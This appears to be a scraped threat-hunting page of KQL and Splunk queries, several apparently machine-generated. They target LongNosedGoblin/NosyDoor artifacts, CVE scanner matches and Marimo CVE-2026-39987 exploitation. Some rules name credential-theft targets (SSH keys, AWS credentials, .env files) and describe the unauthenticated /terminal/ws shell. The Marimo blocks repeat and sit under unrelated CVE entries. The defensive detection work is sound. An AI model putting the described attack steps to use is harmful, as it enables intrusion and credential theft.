| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — LongNosedGoblin tries to sniff out governmental affairs in Southeast Asia and JaExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1059.001T1027T1053.005T1053.005
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — LongNosedGoblin tries to sniff out governmental affairs in Southeast Asia and Ja
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("oci.dll", "mscorsvc.dll", "sharedreg.dll", "uevappmonitor.exe", "sharedreg12.dll", "pmp.exe", "serv.dll", "msi.dll", "amsi.dll", "tcoedge.exe", "rtlwvern.exe", "hpsmartadapter.exe", "hputils.exe", "igccsvc.exe", "adobehelper.exe") or ProcessCommandLine has_any ("Invoke-Expression") or FolderPath has_any ("E:\Csharp\SharpMisc\GetBrowserHistory\obj\Debug\GetBrowserHistory.pdb", "C:\Windows\Microsoft.NET\Framework", "E:\Csharp\Thomas\Server\ThomasOneDrive\obj\Release\OneDrive.pdb", "C:\Users\Public\Libraries\thomas.log", "C:\ProgramData\Microsoft\WDF\MDE.dat"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("E:\Csharp\SharpMisc\GetBrowserHistory\obj\Debug\GetBrowserHistory.pdb", "C:\Windows\Microsoft.NET\Framework", "E:\Csharp\Thomas\Server\ThomasOneDrive\obj\Release\OneDrive.pdb", "C:\Users\Public\Libraries\thomas.log", "C:\ProgramData\Microsoft\WDF\MDE.dat", "C:\ProgramData\Microsoft\WDF\pmp.exe", "C:\ProgramData\Microsoft\WDF\mfd.dat", "C:\Windows\Temp\TS_D418.tmp") or FileName in~ ("oci.dll", "mscorsvc.dll", "sharedreg.dll", "uevappmonitor.exe", "sharedreg12.dll", "pmp.exe", "serv.dll", "msi.dll", "amsi.dll", "tcoedge.exe", "rtlwvern.exe", "hpsmartadapter.exe", "hputils.exe", "igccsvc.exe", "adobehelper.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — LongNosedGoblin tries to sniff out governmental affairs in Southeast Asia and Ja ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("oci.dll","mscorsvc.dll","sharedreg.dll","uevappmonitor.exe","sharedreg12.dll","pmp.exe","serv.dll","msi.dll","amsi.dll","tcoedge.exe","rtlwvern.exe","hpsmartadapter.exe","hputils.exe","igccsvc.exe","adobehelper.exe") OR Processes.process="*Invoke-Expression*" OR Processes.process_path="*E:\Csharp\SharpMisc\GetBrowserHistory\obj\Debug\GetBrowserHistory.pdb*" OR Processes.process_path="*C:\Windows\Microsoft.NET\Framework*" OR Processes.process_path="*E:\Csharp\Thomas\Server\ThomasOneDrive\obj\Release\OneDrive.pdb*" OR Processes.process_path="*C:\Users\Public\Libraries\thomas.log*" OR Processes.process_path="*C:\ProgramData\Microsoft\WDF\MDE.dat*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*E:\Csharp\SharpMisc\GetBrowserHistory\obj\Debug\GetBrowserHistory.pdb*" OR Filesystem.file_path="*C:\Windows\Microsoft.NET\Framework*" OR Filesystem.file_path="*E:\Csharp\Thomas\Server\ThomasOneDrive\obj\Release\OneDrive.pdb*" OR Filesystem.file_path="*C:\Users\Public\Libraries\thomas.log*" OR Filesystem.file_path="*C:\ProgramData\Microsoft\WDF\MDE.dat*" OR Filesystem.file_path="*C:\ProgramData\Microsoft\WDF\pmp.exe*" OR Filesystem.file_path="*C:\ProgramData\Microsoft\WDF\mfd.dat*" OR Filesystem.file_path="*C:\Windows\Temp\TS_D418.tmp*" OR Filesystem.file_name IN ("oci.dll","mscorsvc.dll","sharedreg.dll","uevappmonitor.exe","sharedreg12.dll","pmp.exe","serv.dll","msi.dll","amsi.dll","tcoedge.exe","rtlwvern.exe","hpsmartadapter.exe","hputils.exe","igccsvc.exe","adobehelper.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] NosyDoor Stage-2: UevAppMonitor.exe AppDomainManager injection from Microsoft.NET\FrameworkInstallationHigh
Hunts NosyDoor's stage-2 LOLBIN execution where the legitimate UevAppMonitor.exe is copied out of System32 into C:\Windows\Microsoft.NET\Framework and run with a sibling .config that triggers AppDomainManager injection of SharedReg.dll. The legitimate UevAppMonitor.exe ships only in System32, so any execution from the Framework directory is high-fidelity for LongNosedGoblin / shared NosyDoor / LuckyStrike Agent activity.
Rationale: Article explicitly states the dropper copies legitimate UevAppMonitor.exe from System32 to C:\Windows\Microsoft.NET\Framework and creates UevAppMonitor.exe.config there to trigger AppDomainManager injection of SharedReg.dll. The path/binary pairing is unique to this chain and is corroborated by Solar's Erudite Mogwai / LuckyStrike Agent write-up describing the same UevAppMonitor handle.
Cross-checked against:
• https://thehackernews.com/2025/12/china-aligned-threat-group-uses-windows.html
• https://thehackernews.com/2025/02/space-pirates-targets-russian-it-firms.html
• https://www.helpnetsecurity.com/2025/12/18/eset-china-aligned-apt-group-policy/
ATT&CKT1574.014T1218T1036.005
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let ConfigDrops = DeviceFileEvents | where FileName =~ "UevAppMonitor.exe.config" | where FolderPath has @"\Microsoft.NET\Framework" | distinct DeviceId, DeviceName; DeviceProcessEvents | where FileName =~ "UevAppMonitor.exe" | where FolderPath has @"\Microsoft.NET\Framework" | where FolderPath !has @"\System32\" and FolderPath !has @"\SysWOW64\" | join kind=leftouter (ConfigDrops) on DeviceId | project Timestamp, DeviceName, AccountName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, SHA256
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name="UevAppMonitor.exe" AND Processes.process_path="*\\Windows\\Microsoft.NET\\Framework*" AND NOT Processes.process_path IN ("*\\System32\\*","*\\SysWOW64\\*") by Processes.dest Processes.user Processes.process_name Processes.process_path Processes.parent_process_name Processes.parent_process_path Processes.process | `drop_dm_object_name(Processes)` | join type=left dest [| tstats `summariesonly` count from datamodel=Endpoint.Filesystem where Filesystem.file_name="UevAppMonitor.exe.config" AND Filesystem.file_path="*\\Microsoft.NET\\Framework*" by Filesystem.dest | `drop_dm_object_name(Filesystem)` | rename count as config_drops] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] NosyDoor staging artifacts dropped to C:\Windows\Microsoft.NET\FrameworkInstallationHigh
Detects the NosyDoor dropper (OneClickOperation) writing its masquerading payload set into C:\Windows\Microsoft.NET\Framework. The combination of file names is chosen to blend with legitimate SharedReg12.dll / netfxsbs12.hkf — but SharedReg.dll, netfxsbs9.hkf, log.cached and UevAppMonitor.exe.config are all NosyDoor-specific and should never coexist in that directory.
Rationale: Article lists exact filenames the dropper writes (SharedReg.dll, log.cached, netfxsbs9.hkf, UevAppMonitor.exe.config) into C:\Windows\Microsoft.NET\Framework — none of these are legitimate Windows components in that directory, and ESET notes they are crafted to blend with SharedReg12.dll / netfxsbs12.hkf. Requiring two co-occurring names keeps FP rate negligible.
Cross-checked against:
• https://thehackernews.com/2025/12/china-aligned-threat-group-uses-windows.html
• https://www.darkreading.com/threat-intelligence/longnosedgoblin-caught-snooping-on-asian-governments
ATT&CKT1036.005T1140T1564.001
Data sourcesEndpoint.Filesystem
DeviceFileEvents | where FolderPath has @"\Microsoft.NET\Framework" | where FileName in~ ("SharedReg.dll","netfxsbs9.hkf","log.cached","UevAppMonitor.exe.config","error.txt") | summarize FileSet=make_set(FileName), Procs=make_set(InitiatingProcessFileName), Cmds=make_set(InitiatingProcessCommandLine), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by DeviceId, DeviceName | where array_length(FileSet) >= 2
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_name) as files values(Filesystem.file_path) as paths values(Filesystem.process_name) as procs from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\Windows\\Microsoft.NET\\Framework*" AND Filesystem.file_name IN ("SharedReg.dll","netfxsbs9.hkf","log.cached","UevAppMonitor.exe.config","error.txt") by Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | eval distinct_files=mvcount(files) | where distinct_files >= 2 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts the LongNosedGoblin/NosyDoor persistence scheduled task created under \Microsoft\ named 'OneDrive Reporting Task-S-1-5-21-<GUID>' that launches UevAppMonitor.exe at startup. The naming pattern (mixing a real-looking task name with a SID-style suffix that is actually a random GUID) is unique to this dropper.
Rationale: Article specifies the exact scheduled-task name format created by the NosyDoor dropper — 'OneDrive Reporting Task-S-1-5-21-<GUID>' under the Microsoft folder, used to auto-start the trojanised UevAppMonitor.exe. Genuine OneDrive uses 'OneDrive Reporting Task-S-1-5-21-<real_user_SID>' so a GUID-shaped tail in that exact name is anomalous and uniquely article-specific.
Cross-checked against:
• https://thehackernews.com/2025/12/china-aligned-threat-group-uses-windows.html
• https://www.helpnetsecurity.com/2025/12/18/eset-china-aligned-apt-group-policy/
ATT&CKT1053.005T1547
Data sourcesEndpoint.Processes
union isfuzzy=true (DeviceProcessEvents | where (FileName =~ "schtasks.exe" or FileName =~ "powershell.exe" or FileName =~ "pwsh.exe") | where ProcessCommandLine has "OneDrive Reporting Task-S-1-5-21" | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine), (DeviceEvents | where ActionType == "ScheduledTaskCreated" | where AdditionalFields has "OneDrive Reporting Task-S-1-5-21" or AdditionalFields has @"\Microsoft\OneDrive Reporting Task" | project Timestamp, DeviceName, AccountName=InitiatingProcessAccountName, ActionType, AdditionalFields, InitiatingProcessFileName, InitiatingProcessCommandLine)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name="schtasks.exe" OR Processes.process_name="powershell.exe" OR Processes.process_name="pwsh.exe") AND Processes.process="*OneDrive Reporting Task-S-1-5-21*" by Processes.dest Processes.user Processes.process_name Processes.parent_process_name Processes.parent_process_path Processes.process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-175 use cases1 technique4 kill-chain phases detected
ASUS Live Update contains an embedded malicious code vulnerability client were distributed with unauthorized modifications introduced through a supply chain compromise. The modified builds could cause devices meeting specific targeting conditions to perform unintended actions. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. Vendor: ASUS, Product: Live Update. Federal patch due: 2026-01-07.
CVEsCVE-2025-59374
ATT&CKT1195.002
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-59374")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-59374")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-174 use cases0 techniques3 kill-chain phases detected
SonicWall SMA1000 contains a missing authorization vulnerability that could allow for privilege escalation appliance management console (AMC) of affected devices. Vendor: SonicWall, Product: SMA1000 appliance. Federal patch due: 2025-12-24.
CVEsCVE-2025-40602
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-40602")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-40602")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-174 use cases0 techniques4 kill-chain phases detected
Cisco Secure Email Gateway, Secure Email, AsyncOS Software, and Web Manager appliances contains an improper input validation vulnerability that allows threat actors to execute arbitrary commands with root privileges on the underlying operating system of an affected appliance. Vendor: Cisco, Product: Multiple Products. Federal patch due: 2025-12-24.
CVEsCVE-2025-20393
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-20393")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-20393")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
